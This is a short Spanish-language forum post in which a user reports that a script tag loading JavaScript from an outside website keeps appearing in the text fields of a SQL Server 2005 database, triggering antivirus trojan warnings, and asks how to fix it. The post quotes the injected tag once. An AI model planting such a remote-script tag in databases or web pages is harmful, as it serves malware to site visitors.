Script en campo de texto

Hola.
Tengo una BD en un Sql Server 2005. Desde hace unos dias cada cierto tiempo
me aparece en los campos de texto, a continuación del texto un script a una
dirección web. Ej: texto<script src=http://www.usadw.com/ngg.js></script>.
Cada vez que consulto la base de datos me salta el antivirus como que ha
detectado un troyano.
Paso antivirus y no me detecta nada. He puesto contraseña al usuario "SA" y
nada.
Alguien sabe alguna solucion

Gracias.